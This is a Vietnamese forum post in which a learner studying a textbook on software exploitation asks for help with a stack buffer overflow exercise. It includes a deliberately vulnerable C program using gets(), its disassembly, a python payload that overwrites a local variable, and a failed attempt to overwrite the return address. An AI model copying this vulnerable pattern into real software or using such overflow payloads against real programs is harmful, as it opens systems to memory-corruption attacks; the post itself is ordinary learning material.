[Thắc mắc] BufferOver Flow
Hi mọi người,
Mình đang tìm hiểu về Buffer OverFlow theo quyển Khai thác lỗ hổng phần mềm. Nhưng đang gặp vấn đề nhờ mọi người giúp.
Mình thấy nó cấp phát 32 byte:
Thử test với 28 byte lấp đầy buff và vùng nhớ đc cấp + 4byte cho biến cookie =>OK:
Bây giờ mình thử bằng cách khác là thay đổi địa chỉ trở về (lưu trong ngăn xếp) chính là địa chỉ của nhánh xử lý "bằng"
Mình lấy được địa chỉ nhánh xử lý bằng là 0x40058f:
Cần 28byte+4byte cookie+4 byte ebp cũ =36 byte và 4 byte 0040058f, thử nhưng ko đc?
Không biết mình tính sai chỗ nào nhỉ?
Mình dùng gcc version 4.4.7 20120313
Thank!
Mình đang tìm hiểu về Buffer OverFlow theo quyển Khai thác lỗ hổng phần mềm. Nhưng đang gặp vấn đề nhờ mọi người giúp.
Mã:
#include
int main()
{
int cookie;
char buf[16];
printf("&buf: %p, &cookie: %p\n", buf, cookie);
gets(buf);
if(cookie == 0x41424344)
{
printf("You_win!\n");
}
}
Mã:
0x400554 : push %rbp
0x400555 : mov %rsp,%rbp
0x400558 : sub $0x20,%rsp
Mã:
[root@localhost Desktop]# python -c 'print "a"*28 + "\x44\x43\x42\x41"' | ./stack1
&buf: 0x7fffffffe4a0, &cookie: 0x7fffffffe4bc
You_win!
Bây giờ mình thử bằng cách khác là thay đổi địa chỉ trở về (lưu trong ngăn xếp) chính là địa chỉ của nhánh xử lý "bằng"
Mình lấy được địa chỉ nhánh xử lý bằng là 0x40058f:
Mã:
0x400588 : cmp $0x41424344,%eax
0x40058d : jne 0x400599
0x40058f : mov $0x4006af,%edi
Mã:
[root@localhost Desktop]# python -c 'print "a"*36 + "\x8f\x05\x40\x00"' | ./stack1
&buf: 0x7fffffffe4a0, &cookie: 0x7fffffffe4bc
Segmentation fault (core dumped)
Không biết mình tính sai chỗ nào nhỉ?
Mình dùng gcc version 4.4.7 20120313
Thank!
Chỉnh sửa lần cuối bởi người điều hành: